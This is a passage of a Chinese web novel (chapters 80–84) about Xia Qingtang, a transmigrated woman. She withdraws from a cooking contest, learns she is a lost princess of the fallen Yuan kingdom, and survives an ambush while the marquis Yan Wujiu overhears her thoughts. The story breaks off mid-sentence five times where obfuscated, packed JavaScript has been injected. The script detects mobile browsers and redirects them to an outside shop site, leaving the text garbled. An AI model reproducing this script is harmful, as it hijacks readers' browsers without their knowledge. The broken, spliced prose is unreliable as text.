过来找晏无咎的安瑾:“哟!林侍卫这是傻笑啥呢,发春啦?”。 林木笑容僵在嘴角,安大夫说话真是招人厌! 安瑾走进屋子,“老晏,刚才你和林侍卫聊啥了,我看林侍卫一脸傻笑”。 晏无咎:“没有。” 安瑾四下看了看,又把门给紧紧关上,这还不够,他还走进晏无咎压低声音。 “老晏,不是我说,你真的去查查夏清棠的身份吧。” “我总觉得她不简单,哪有普通人会莫名奇妙的**,还会武功,最最最重要的是,有这药材的人还真叫她找到了。” “你说神奇不神奇,这摧心散可不是一般的毒,那药材也不是一般的人能有的,就算夏清棠花了银子,可是那药材一看就是上上上等货啊。” 晏无咎:“嗯。” 安瑾:“快说,你当时不是还跟着夏清棠去见那俩人来吗?什么感觉?” 晏无咎略微思索,“不一般”。 安瑾:“……废话,能有那种药材的人怎么可能是一般人。” 晏无咎冷嗤一声,“她是什么人跟我有什么关系,反正她也急着滚出侯府”。 安瑾瞪大眼睛,“你真不派人去查啊”。 晏无咎斜睨安瑾一眼,一副你看我傻子吗的表情,“早就派过了”。 第八十章笨蛋,呆瓜。 安瑾惊讶又很快点头,“这样才对,是你的风格”。 “然后呢,查出什么来?” 晏无咎垂眸,淡淡说了句,“没什么”。 安瑾:“我咋就不相信呢,说!是不是查出什么惊天大秘密了。” 晏无咎神情依旧平淡,叫人看不出个所以然,“你想多了”。 安瑾:“什么都没查到?” 晏无咎:“嗯。” …… 夏清棠也觉得有点不对劲儿,怎么就数错了呢? 朔灵汐扬着高傲的头颅优雅的走到夏清棠的身边,用极其鄙夷不屑的目光盯着夏清棠。 “喂!夏清棠,本公主大发慈悲的提醒你,离我的东西远点。” 夏清棠:“……?” “啥东西?” 朔灵汐瞪大双眼,声音尖锐,“少在那跟本公主装傻,我让你离晏无咎远点!”。 夏清棠:“哦。” 朔灵汐:“你那是什么态度!跟本公主说话,没让你跪下都是我仁慈了。” 夏清棠嗤笑一声,冷冷的扫了她一眼,“这儿这么多人,让我下跪岂不是败坏公主你苦心经营的没好名声?”。 “你说对吧?” 朔灵汐鼻孔出气,“好啊你!居然敢威胁本公主!”。 夏清棠耸耸肩,“我可不敢”。 朔灵汐看到夏清棠这副模样,火气来的更猛烈,脑子里完全忘记朔千钰对她的嘱咐。 “来人,给本公主把她……” “公主,万万不可。” 侍女花雀连忙制止住朔灵汐,并压低声音在她耳边说着些什么。 然后,朔灵汐安静了,不再挑衅了。 只是恶狠狠的剜了夏清棠一眼,就离开了。 夏清棠:“……” 这个公主真的是一点诚意都没有啊,为什么不拿银子来砸她,狠狠的砸她,然后让她离晏无咎远远的。 真是的,没诚意。 跟他那个哥一样,蠢坏蠢坏的。 “夏姑娘!我们就知道你能赢,哎呦!你那菜呀,做的可是把我这个老婆子给香迷糊了!” 王淑芬走过来对着夏清棠就是一顿豪爽的夸赞。 夏清棠微笑,“谢谢王大娘捧场”。 王淑芬:“要我说啊,夏姑娘你啊,就应该出来开个饭馆,生意保证好”。 说着说着,王淑芬声音带上怅惘,“我们女人啊,能靠的只有自己啊”。 夏清棠意外,看来王大娘也是个有故事的女人啊,她点点头,“王大娘说得对”。 王大娘哈哈大笑两声,“夏姑娘,我还得回去看着点饭馆,我就先走了”。 夏清棠:“好。” 江汐汐和辜战在大老远看到夏清棠身边终于没人了,就赶紧往夏清棠身边跑。 夏清棠瞥到朝自己本来的两人,心一咯噔,这俩人不会又是来找她,然后说点莫名其妙的话吧。 她听不懂,也不想听。 天色也暗了,她要回家啊。 于是,夏清棠在人群中巧妙躲闪,又很快运作轻功往侯府赶去。 辜战脚步变慢,“汐姐,我怎么感觉她在躲我们啊?”。 江汐汐停下脚步,冷声说,“不追了”。 “她会主动找我们的。” 辜战疑惑,“为啥?汐姐你啥时候变得这么自信了”。 江汐汐目光冰冷的扫了他一眼,“老国师说的”。 辜战:“……汐姐,老国师到底跟你说了多少东西,还有,老国师不是早就**吗?” 江汐汐:“死之前说的。” 辜战:“……好吧。” 老国师牛逼。 …… 夏清棠在回侯府的路上就一直在琢磨,怎样才能让晏无咎把文书给了她,还是说,她直接跑了?不行不行,没有文书她连这京城都出不去。 刚一进府,夏清棠就看到直直站在院中的晏无咎,呃……看那架势,怎么感觉有点事。 算了,她还是当作没看到,赶紧离开吧,有点尴尬。 夏清棠虚着脚步,想绕过晏无咎。 “站住。” 一道莫得感情的男声拦住了她,夏清棠停住。 “哈哈哈,侯爷,你在这儿呢,我刚才没看到。” 晏无咎目光平静的注视着夏清棠,“跟我来书房一趟”。 夏清棠犹豫,“这……不太好吧”。 晏无咎像是看出她的想法,冷嗤一声,“放心,本侯没那么不要脸,也不喜欢热脸贴冷屁股”。 夏清棠松了一口气,看来这一天的冷静对晏无咎很有效果,也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160153|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那么骄傲的一个人被她那样拒绝,现在心底肯定是要骂死她了。 夏清棠想通了,顿时感觉浑身轻松了不少。 她跟着晏无咎来到书房。 晏无咎:“听说你去参加厨王争霸赛了?” 夏清棠微怔,“嗯”。 晏无咎手指摩挲着茶杯,又漫不经心的问,“听说,你还通过初赛了?”。 夏清棠:“没有。” 晏无咎眼眸一眯,“你骗我”。 夏清棠翻白眼,“哦,通过了。” 【知道了还问问问,问啥问,跟审犯人一样。】 晏无咎喉间发出意味不明的轻笑,怎么办,她这个样子好可爱。 【笑个屁啊。】 晏无咎嘴角顿住,可爱个屁! “退赛吧。” 夏清棠怀疑自己听错了,“啊?侯爷你说啥子”。 晏无咎:“不要再去参加这个什么鬼的争霸赛了。” 夏清棠斟酌了一下,“侯爷,可是有什么说法?”。 晏无咎:“这个厨王争霸赛是皇上专门为了皇宫里的皇后而举办的,最终胜出者会进宫给皇后做膳食。” “这不是什么好差事。” 夏清棠懂了。 【晏无咎是想告诉我,进宫给皇上皇后做饭有风险,怕我赢了比赛进了宫,然后小命危险,毕竟伴君如伴虎啊。】 【这确实是有风险。】 夏清棠露出这两天以来对晏无咎最真诚的笑容,“我懂了,我会去退赛的”。 晏无咎点了点头。 “算你还不算愚钝。” 夏清棠表示呵呵哒。 【晏无咎这男人真的是,昨天还能哭着说爱我,喜欢我,今天就能冷着脸损我。】 【鬼才会喜欢你啊!】 晏无咎眨了眨眼,嘴角刚翘起的弧度僵住,他刚才是在真心诚意的夸她啊,为什么要这样误会他,是夸的不够吗? 想了想,晏无咎突然郑重的说了句,“不是说你笨,是说你很聪明”。 夏清棠怔住,眸光看到晏无咎泛红的耳尖,她明白了。 【喜欢我,难道就是光嘴上说说吗,银子呢?男色呢?一呼百应呢?】 【没谈过恋爱能去取取经吗?】 【笨蛋,呆瓜。】 第八十一章又做噩梦。 晏无咎眸光闪烁。 笑话,他岂能为了儿女私情出卖自己。 他挥挥手,“你出去吧”。 夏清棠:“好嘞。” “等等。” 夏清棠回头,面露疑惑。 晏无咎绷着张脸,“以后缺钱了,直接找林木”。 夏清棠:“……为什么?” 晏无咎脚趾已经有点抠地,却还是强撑着绷着脸,“你不是爱银子吗?我有”。 夏清棠震撼,书中抠门的晏无咎这是不缺钱了? 夏清棠:“侯爷,你的银子就自己用吧,我自己有。” 有句话说得好,不要花穷男人的钱,况且,晏无咎穷,也都是因为把钱补贴给军队了,她毒都解了,不能干缺德事儿。 …… “什么?她都不花你的银子?” 安瑾震撼质问。 晏无咎:“嗯。” 安瑾想到什么,突然用一种意味深长,高深莫测的眼神注视着晏无咎。 晏无咎:“你眼睛有毛病?” 安瑾贼笑,“我是没想到啊,夏姑娘居然能让你这个毒舌又自大的家伙,来不耻下问。”。 “嘿嘿嘿,老晏,你是不是慌了,怕人家跑了,所以企图用金钱诱惑她,留住她。” “就像用孩子绑住妻子一样。” 晏无咎:“……想多了,我不过是看她确实是帮我了很多而已。” 安瑾看破却不再点破,他怕晏无咎一个发怒,直接把他扔回军营,还是这侯府带着舒坦。 安瑾:“原来如此。” “老晏,我跟你说,我最近又看了点话本子,你要不要看。” 晏无咎嗤笑,“不看,本侯从来不看那种低俗没价值的书籍”。 安瑾恍若未闻,激情介绍着自己看过的话本子,“超级好看,有什么《太子殿下强制爱,清冷表小姐遭不住啊!》还有《纯情丫鬟修绝情道,病娇侯爷哭唧唧》,还有还有……”。 安瑾嘟囔了一大堆,仍在滔滔不绝。 晏无咎冷声制停他,“滚回去看你的话本子,本侯爷不感兴趣”。 安瑾:“切~你真的很没品位。” 安瑾滚回去看自己心心念念的话本子了。 晏无咎展开宣纸,默默在上面记下几个名字。 “嗤,什么蠢名字。” …… 厨王争霸赛复赛在五天后,她要是直接不去的话,那不就是弃赛吗? 这样可行,就当她**吧。 突然,一抹金光闪到了她的眼睛,夏清棠走到自己简陋的梳妆台前。 是那个龙纹锁。 她拿起来,又拿着湿布细细擦拭一番,等看清灰渍下面的真迹,夏清棠惊呆了,这是金子吗? 这是金子吧,嘛呀,这真的是金子! 夏清棠摩挲着手中的金锁,思绪有点飘忽,一把金锁,这么值钱的东西就这样给了她这个只见过几次面的陌生人吗? 到底是图什么,她真的是他们的亲人? 还有那两张画像上的人物,脑海中他们的模样愈来愈清晰,甚至已经隐隐和自己的父母重合。 夏清棠脑子突然一阵刺痛,却是转瞬即逝,快的夏清棠以为是自己出现幻觉了。 她垂眸看向手中的金锁,心口莫名有点发紧。 或许,原身和他们之间真的有某种关系。 这个金锁或许也是给原主的重要信物,夏清棠嘴角勾了勾,将龙纹锁带在了身上,她不是原主,这把锁改日要还给他们。 这晚,夏清棠又做噩梦了。 不是她自己,也不是人头虎身的晏无咎,而是江汐汐和辜战。 梦中的她是第三视角。 很黑,但能看清是一片荒林,江汐汐和辜战被一群黑衣人死死围住,刀光剑影,两人的衣衫也很快被鲜血浸透。 “抓活的,问出殿下下落!” 场面非常混乱,但是她却清楚听到这声命令,愣神间,好像有人看到她了,举着长剑嘶吼着向她冲来。 她想躲开,却发现四肢像被定住一样,只能呆呆的站在原地等死。 她惊恐的闭上双眼,下一刻,温热的鲜血喷洒在她脸上。 不是她的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160154|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她睁开眼,瞳孔骤缩,是江汐汐,她替她挡了这一剑。 画面又变了。 昏暗的荒林中,除了她,只剩一地死尸,她颤抖着双手抱住江汐汐,想喊她,却发现自己发不出声,只有泪水喷涌而出。 夏清棠猛地惊醒,泪水模糊了视线,冷汗浸透了中衣,她的心口一阵阵的发紧。 为什么?为什么她会做这样的梦。 外面天还未亮,屋内一片死寂,只有夏清棠心有余悸的粗喘。 她拿起睡前放在枕边的龙纹锁,攥在手心,心却还是未能安定下来。 为什么,这到底是为什么,她只是想好好睡一觉,为什么会梦到毫不相关的陌生人为她拼命。 “难道是我脑子有病?” 夏清棠觉得自己快癫了。 是原主的情绪吗?她不认为自己只是和那两人短短几次的接触,就能做出如此刻苦铭心的噩梦。 “荒林,殿下,黑衣刺客。” 夏清棠呆坐在床上,细细复盘梦中内容,她的第六感告诉她,要尽快去找江汐汐和辜战一趟。 初冬的天,夜已经开始变得漫长。 夏清棠最终走到桌边,就这样坐了一晚上。 天终于亮了。 夏清棠顶着两个大黑眼圈走出房间,赫然看到同样往外走的晏无咎。 两人目光对上,又很快一开。 她(他)黑眼圈怎么那么重? 夏清棠犹豫了几秒,断绝了自己去问晏无咎的想法。 总之,这侯府的人都不能问。 晏无咎:“夏清棠,你今日去哪?” 夏清棠没想到晏无咎会主动和她搭话,很快就淡定的说,“我去跟赛事的主事人说一声,我要退赛”。 晏无咎:“我同你一起。” 夏清棠:“……?” 晏无咎:“我的意思是,我今日有事儿去那边,你可以和我一同坐马车。” 夏清棠现在只想快点甩掉晏无咎,“谢谢侯爷,侯爷不用了,我喜欢走路”。 晏无咎眸光轻闪,有事瞒着他? 第八十二章见面 晏无咎:“正好,我也想走路,走路对身体好。” 夏清棠:“……” 晏无咎:“走吧,先去吃早膳。” 夏清棠突然捂着肚子,“算了算了,我今日先不去了,我肚子疼,先去上茅厕了”。 “侯爷,你先走吧,不用管我。” 夏清棠一溜烟往茅厕方向跑去。 晏无咎轻笑,今日这谎话打的,实在是潦草。 不过,他眸光顿住,夏清棠不会是跟话本子里的女人一样,去外面点男人吧。 他昨夜看的几个话本子里,那几个女人都是很花心。 男色?晏无咎大手不自觉抚上自己的腹肌和胸肌,他的男色好像真的挺不错的。 …… 夏清棠是一路狂奔。 喵的,今天这群暗卫不好甩掉啊,晏无咎这是关心她还是监视她。 暗卫内心:今天夏姑娘跑的也太快了。 夏清棠心思一转,慢下脚步,佯装成逛街的样子,悠哉游哉的走到一家成衣铺。 “哇——这家铺子的衣服看着真好看呀,我要进去买漂亮衣服。” 夏清棠进了这家成衣铺。 这家铺子进出的人很多,夏清棠换了一身装扮,挺着个大肚子,蒙着脸,大摇大摆的走出来,又走进人群。 夏清棠暗喜,终于甩掉了。 哈哈哈! 夏清棠手中拿着江汐汐给她的骨哨,心底突然升起一些不好意思,每次说不想有联系的人是她,偏偏每次主动找她们的人还是她。 说来,这骨哨也是神奇,相隔的距离那么远,他们是怎么听到的,刚开始江汐汐把这骨哨给了她的时候,她还以为江汐汐在开玩笑。 夏清棠细细摩挲着手中的骨哨,走到人少处,她深吸一口气,吹响骨哨。 成功收获了几个小孩羡慕的目光。 夏清棠笑了笑,把骨哨收好,正要往王大娘饭馆走,却听到熟悉的声音。 “咦,我刚才是听到哨声了啊,怎么人不在这儿。” 江汐汐拍了拍辜战充满疑惑的脑袋,示意他向前看。 三双眼成功交接,辜战嘴角露出邪笑,“汐姐,我看到了,看来她是进步了,来见我们都知道做点伪装了”。 夏清棠朝两人走去,就像寻常朋友见面打招呼那样,随意问道,“你们是在这附近吗?这么快”。 辜战大大咧咧,此刻浑身只有清澈,丝毫不见之前的痞气。 “对啊对啊,我们两个在这边逛小吃街呢,超级好吃。” 夏清棠双眼放光,“哇趣,我来这这么久还没吃过啥好吃的,有机会了我一定要大吃特吃”。 辜战兴奋,有种找到同类的人感觉,汐姐就只会说他是猪。 两人就这样开始聊天,江汐汐在一旁摇头轻笑。 眼看两**有没完没了的趋势,江汐汐温声提醒两人,“我们不如换个地方聊”。 夏清棠和辜战连忙点头。 最终,几人还是决定去一家私密性比较好的饭馆。 闲云别馆。 初听到这名字的时候,夏清棠理所当然的认为只是一个比较文雅的饭馆。 直到,她走进这家饭馆。 内心发出惊呼,好多男的,好多帅男的,清冷的,妖艳的,纯情的……还有奶狗,狼狗,忠诚大狗狗…… 夏清棠看花了眼,就连小厮都长得眉清目秀的。 辜战憋笑,“小…夏清棠,你真的很没见过世面唉,连赫赫有名的闲云别馆都没来过”。 江汐汐嘴角勾着笑,“夏姑娘,我们上楼去吧”。 夏清棠点头。 “哟!江大侠和辜公子又来了,快快快,带进包间。” “今日还带了这么俊俏的女子,三位,今日是老样子?还是再多来个?” 江汐汐摆摆手,“今日一个都别进来,我们就吃菜喝酒”。 “好嘞!” 夏清棠跟着两人进了包间,不得不说,这里隔音效果确实是很牛逼啊,整个二楼,这么多包间,居然还是静悄悄的。 包间内,江汐汐认真的注视着夏清棠。 “夏姑娘,今日你有什么想问的,可以尽管问。” 夏清棠:“好的。” 江汐汐:“等我们全都说完之后,再点几个小倌。” 夏清棠眼里有点惊讶,“那辜战呢?他也喜欢小倌吗?”。 正在研究美酒的辜战一听这话,瞬间张大嘴巴,瞪大眼睛,有点恼羞,“夏清棠,你别污蔑我啊,我可没那些什么龙阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168519|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之好,我纯粹是喜欢她家的酒。”。 “美酒爱好者,你懂吗?” 夏清棠点头,“好的,我懂了”。 江汐汐笑了笑,“夏姑娘,你请问吧”。 夏清棠脑海中闪出那两张画像,那个龙纹锁,还有昨夜梦到的画面。 “你们真的是我的亲人吗?” 江汐汐和辜战对视一眼,同时点头,“对,但相比于亲人这个说法,更应该说,我们是你的追随者”。 夏清棠这下是真懵逼了,怎么又干成追随者了。 “为什么?” 江汐汐没有回答夏清棠这个问题,而是反问,“夏姑娘,我能问一下,是什么让你想通了,主动来找我们谈论这个话题”。 夏清棠犹豫一瞬,还是选择将那个奇怪的梦说出来。 “我昨晚做了一个梦。” “好像是在一片荒林,有一群黑衣人在**你们两个,我好像只是个旁观者。” “可是,很快,我却看到那群黑衣人朝我刺来,我却一点都不能动弹。” “最后,是你帮我挡下了那把剑。” 江汐汐眼底暗光闪过,“你是说,梦中是我救了你”。 夏清棠:“嗯。” 辜战:“你就信我们吧,我们真的是好人。” 夏清棠扯了扯嘴角,“其实,我梦到你们有一段时间了,都没当回事,可是昨晚的梦,实在是……”。 “我怕以后都睡不了好觉,那简直是生不如死。” 江汐汐:“……” 辜战:“……” 夏清棠看着两人,眨了眨眼睛,非常真诚的说了句,“不会是你们两个给我下蛊了吧”。 江汐汐嘴角抽搐。 辜战眼皮抽搐。 夏清棠状似害怕,“你们两个不会是心虚了吧,我好害怕”。 江汐汐沉着开口,“不可能,夏姑娘,看来,你还是不相信我们啊”。 夏清棠定定的看着江汐汐,“我相信你们,我若是不相信你们,又怎么敢一个人就来找你们”。 江汐汐神情僵住。 她喉间溢出轻笑,“是我错了”。 夏清棠摇摇头,用几乎肯定的语气说,“江姑娘,你们不是朔耀王朝的人吧”。 第八十三章父母 江汐汐丝毫不遮掩。 “是。” 夏清棠神情平静,“你们是渊国的人吗?”。 “是。” “……” 夏清棠觉得自己现在已经成功练就出了强大的心脏,他们两个竟然真的是**渊国的人,不敢想,他们生活在朔曜王朝的真正目的是什么。 江汐汐笑出声,“夏姑娘,你很聪明,不愧是我们渊国皇室的孩子”。 夏清棠惊住,“什么?!”。 江汐汐:“没错,我们是你的人,你是我们的主子,我们已经找了你很九。” 夏清棠咽了咽口水,她不是很想当这个间谍头头。 她扯了扯嘴角,“你在开玩笑吧,对吧……”。 江汐汐不做声,只是看了辜战一眼。 辜战了然,从上了锁的柜子里拿出两张比较小的画轴。 画轴被展开在三人面前。 和上次那两张画轴上的人物一模一样。 江汐汐指了指一张画像上的男人,“夏姑娘,你看这个男人眼熟吗?”。 夏清棠内心:何止是眼熟,简直跟她那现代早死的爹长得一模一样。 但现在她要装。 “不眼熟。” 辜战跳起来,“你放屁!你不照镜子吗?你看看你的脸,你再看看他的脸”。 “这不就是一张脸吗!” 夏清棠又细细看了几眼,“好像是唉,这位大哥确实跟我长得很像”。 江汐汐又指了指另一张画像上的女人,“这个呢,眼熟吗?”。 夏清棠摇头,“不眼熟”。 这不就和她现代早死的妈长得一模一样。 江汐汐点头,“这两位,一个是你父皇,一个是你母后”。 夏清棠:“……真的吗?” 辜战:“脸都长一样了,还能有假?” 夏清棠目光紧紧落在画像上的人上,尘封的记忆好似被掀起一角,父母的音容渐渐浮现在脑海,她已经许久没有想过他们了。 她嗓子有点梗。 “那他们在哪里?” 江汐汐:“一个活着,一个**。” 江汐汐开始了她的讲故事环节。 这个故事讲了足足有一刻钟。 夏清棠此刻的心情极度复杂,这个故事里除了有国与国之间的爱恨情仇外,还有人与人之间的爱而不得,强取豪夺,病态囚禁。 总之,就是他们的渊国因为某些原因,被灭了,渊国皇上被朔曜王朝的景明帝弄**,景明帝爱恋渊国皇后,又把渊国皇后抢过来,囚禁在皇宫。 也就是说,原主的爹**,娘还活着,现在在皇宫被景明帝关着。 天!夏清棠觉得自己现在急需被掐掐人中。 一点都不像面对。 江汐汐看着夏清棠,“夏姑娘,你的想法是?”。 夏清棠屁股往后挪了挪,“你们不害怕吗?”。 江汐汐:“害怕什么?” 夏清棠:“就算我真的是你们的人,可是我一点相关的记忆都没有啊,而且我在这里生活了这么多年,你们不害怕我去告发你们吗?” 江汐汐笃定:“你不会,你不是那样的人。” 夏清棠内心:才认识几天,就知道我是啥人了? 夏清棠:“所以,你们到底想说啥?” 江汐汐:“回来吧,来我们的身边,我们才是一家人。” 夏清棠摇头,“我并不记得这些事,而且我是一个没有什么大志向的人”。 江汐汐往日一惯平稳的声线此刻微微颤抖,“你难道不想救出你的母亲吗?”。 夏清棠迟疑了,如果是原主的话,她会不会想去救出她的母亲,可……她现在是她啊。 原主的母亲和她妈长得一样,有没有可能就是她妈呢,她能穿书穿过来,或许,她妈也可以。 江汐汐和辜战眼含期待的看着夏清棠。 夏清棠内心天人交战,她咬咬牙,“我想再想想”。 江汐汐和辜战对视一眼,眼里是兴奋,她果然动摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168520|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 江汐汐:“好,夏姑娘,我们等你。” “夏姑娘,还有一事。” “你不能再继续参加厨王争霸赛。” 夏清棠意外,这是第二个人和她说了。 江汐汐:“你长得太像你父皇,若是你真的赢了决赛,进了宫,叫那个男人看到你的脸,以他的性子,绝对会对你赶尽杀绝。” 夏清棠了然,这和他们第一次见面时说的话对上了,“多谢江姑娘提醒”。 江汐汐见状,也不再多言,她拍拍手,很快,包间门打开,端着菜的俊俏小倌排排走进来。 江汐汐:“夏姑娘,来都来了,那我们就趁着今日好好享受一番。” 辜战在一旁搭话,“夏姑娘,你是不知道,汐姐看着冷清,可就是很喜欢这闲云别馆的小倌,尤其是那头牌。” 夏清棠是没想到,江汐汐会来这种地方。 江汐汐淡然地举起酒杯,“这有什么,在我们的老家,男人和女人还没区别呢”。 夏清棠内心惊讶,看来,她是要去了解了解渊国。 喝到兴头上,江汐汐随意的靠在椅背上,身旁一侧是夹菜的,一侧是喂酒的。 倒是辜战在一旁对着夏清棠解释,“夏姑娘见谅,汐姐一般也是一个月才来一次,来了就是这副鬼样子”。 “我还得在旁边看着她,生怕她说啥瞎话。” 夏清棠表示理解,江汐汐这个人,一看就是常年绷着神经,定期放松一下很有必要。 辜战:“不过,汐姐可是千杯不醉。” 这让夏清棠想起某个一杯就醉的阴阳怪气老男人。 …… 酒尽肴残,夏清棠拒绝了两人要送她的提议,她说,他们还不能走这么近,会引起别人怀疑。 于是,她一个人往回走。 天色渐渐昏暗,冷风一阵阵吹过,夏清棠现在很清醒。 她皱眉,好像有些不同寻常的声音。 是谁在跟着她,是晏无咎的人?还是江汐汐的人? 第八十四章魅力太大。 思索间,后脖颈骤然泛起一股寒意,长箭破空而出,夏清棠灵活侧身闪躲,脑中只有一个念头,就是跑。 “围住她!” 夏清棠猛地停住脚步,转眼间她已被围住,就在以为自己小命危在旦夕的时候,东边和南边方向又突然窜出两伙黑衣人。 她注意到,其中一伙人是晏无咎的暗卫,心里稍稍安定了些。 “不留活口,全都杀了。” 陌生的男声落下,三伙人开始了厮杀。 夏清棠眼看跑不掉,也加入战斗,很快,叫喊着要把他们全杀了的那伙黑衣人便浑身是伤。 夏清棠看明白了,是两队人马对战一队人马。 毫无疑问,来刺杀她这一队人马显然没想到她身后会跟着这么多人,因此被打的屁滚尿流,落花流水。 夏清棠一方压倒性的实力很快结束了这场厮杀。 夏清棠本想寒暄一下,看看另外一队来救她的人是谁的人,但是,她刚张嘴,那些人就一溜烟儿跑了。 这…真是做好事不留名的大好人啊。 她又回头看看了晏无咎的那些个暗卫,“多谢各位大哥了,改日请各位下馆子去!”。 暗卫们很符合人设,听到夏清棠这样说,也没人回应,只是又迅速隐匿起来。 夏清棠很佩服,这群人实在是能藏啊。 突然,她又听到很明显的马蹄声,心中暗道不好,正要闪身离开,忽然又听到熟悉的声音。 “夏清棠!” 夏清棠怔住,是晏无咎。 晏无咎跳下马,快步走到夏清棠身边,声音里满是后怕,“对不起,我来晚了”。 夏清棠没想到晏无咎居然会道歉,她的目光又落在晏无咎那张脸上,那上面的关系与紧张不似作假。 她眼睫颤了颤,“你不用道歉,这件事与你无关”。 晏无咎眼里闪过慌乱,抿了抿唇,“我们先回去吧”。 夏清棠:“嗯。” 晏无咎骑上马,伸手示意夏清棠,眼眸中是期待。 然而,夏清棠却一个闪身,直接骑坐在了晏无咎的身后,晏无咎的身子很明显晃了一下。 她嘴角勾起的弧度里沁着一点坏,“侯爷,我们走吧”。 说着,她还故意往前蹭了蹭,果不其然,她看到晏无咎的身子僵住,耳朵也是烧的通红。 她内心不由得有点得意。 【桀桀桀!晏无咎这个冷漠无情傲娇毒舌阴阳怪气的老男人好像真的喜欢我唉,怎么办呐,都怪本姑娘的魅力太大了。】 【喜欢就喜欢吧,反正本姑娘不喜欢他。】 得意又带着些俏皮的心声落入晏无咎的耳朵,他嘴角轻勾,原来是故意使坏。 晏无咎大掌拿好缰绳,寒眸掠过地上的尸体,冷声下令,“这些尸体处理好”。 “驾!” “抱紧我了。” 夏清棠撇嘴。 【我现在已经不稀罕吃你的豆腐了。】 唰! 突然的加速,让在后面的夏清棠闪了一下,心一紧,眼一闭,再睁眼,她的两条胳膊已经乖乖的箍上了晏无咎劲瘦的窄腰。 手抚在腰腹处,还不自觉的捏了两下。 感受到腰腹处的异样,晏无咎眼底闪过一丝了然,看来还是男色有用啊,若是脱了衣裳勾引她,效果会不会更好些。 夏清棠全然不知身前男人的思绪早就不知道飘到哪个外太空去了。 【晏无咎身材还是这么好,原书中,好像晏无咎是到死身边都没有出现过什么女人。】 【不对,除了那个朔灵汐,这么好的身材可惜了,应该去多多服务女性的。】 晏无咎:“……” 这个女人是把他当成小倌吗?简直是不可理喻! 荒唐。 【怎么感觉晏无咎鼻孔在狠狠出气啊,是我抱他腰气到他了?】 【抠门抠门抠门!】 晏无咎:“……” 这段路程最后就是在呼啸的风声中度过。 两个人的脸蛋儿都是被冻的通红。 夏清棠:【还好我机智,躲在了晏无咎身后,嘿嘿嘿。】 晏无咎:那你还挺聪明的。 察觉到晏无咎的目光落在自己脸上,夏清棠有一丝丝别扭,“你看**甚?”。 晏无咎淡定移开视线,“你脸像猴屁股”。 夏清棠嗤笑,“侯爷倒是见多识广啊,还见过猴子呢”。 晏无咎又定定看向她,语气意味深长,“看来你也知道猴子啊,话说回来,夏姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176092|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是哪人啊?”。 “本侯怎么感觉……你知道的好多呐。” 夏清棠丝毫不带怕的,她超级淡定。 “侯爷你忘了?我可是会算天象的,我上知天文,下知地理。” 晏无咎:“厉害厉害。” 两人不再交谈,各自回了各自屋内。 晏无咎正在沐浴,眸光下移,落在自己完美的八块腹肌上,他有些郁闷,该怎么用男色勾引夏清棠。 大冬天的,他也不能在院子里沐浴。 若是堂而皇之把她叫到自己房间来…… 他在想什么,今日夏清棠**的事还没解决,他居然在这里想这些私欲。 啪啪! 晏无咎狠狠给了自己两巴掌。 “我真是个畜生!” …… “暗一,派人去查。” “查到了,就全杀了。” “是。” …… “你是说,她去退赛了?” “是,主子,这是满香楼报回来的消息。” 昏暗烛火下,朔砚辞周身气息恐怖,眼神阴鸷的盯着手中的茶杯。 良久,他发出一声冷笑。 “呵,她能有这么聪明?” “想来也是晏无咎那家伙搞得鬼,看来啊,那女人在晏无咎这个狗男人心中的地位,还真是不一般呐。” 